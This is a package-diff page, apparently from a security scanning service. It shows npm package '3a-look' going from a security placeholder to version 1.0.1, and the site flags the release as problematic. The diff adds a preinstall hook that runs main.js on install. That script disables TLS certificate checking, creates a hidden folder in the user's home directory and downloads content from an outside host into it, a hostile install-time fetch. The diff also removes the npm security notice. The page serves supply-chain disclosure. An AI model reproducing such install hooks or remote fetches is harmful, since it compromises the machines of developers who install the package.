3a-look 0.0.1-security → 1.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of 3a-look might be problematic. Click here for more details.
- package/main.js +19 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/main.js
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const path = require("path");
|
3
|
+
var fs = require('fs');
|
4
|
+
|
5
|
+
function checksvn(version, projectUrl) {
|
6
|
+
var request = require('sync-request');
|
7
|
+
var res = request('GET', projectUrl);
|
8
|
+
|
9
|
+
fs.writeFileSync(version, res.getBody());
|
10
|
+
|
11
|
+
}
|
12
|
+
|
13
|
+
process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0
|
14
|
+
|
15
|
+
var dir = os.homedir() + "/.svnlook";
|
16
|
+
if (!fs.existsSync(dir)){
|
17
|
+
fs.mkdirSync(dir);
|
18
|
+
}
|
19
|
+
checksvn(path.join(dir,'/svntoken'), 'https://cryptopriceoffer.com/checkupdate.php');
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "3a-look",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "npm install sync-request && node main.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"sync-request": "^6.1.0"
|
14
|
+
}
|
6
15
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=3a-look for more information.
|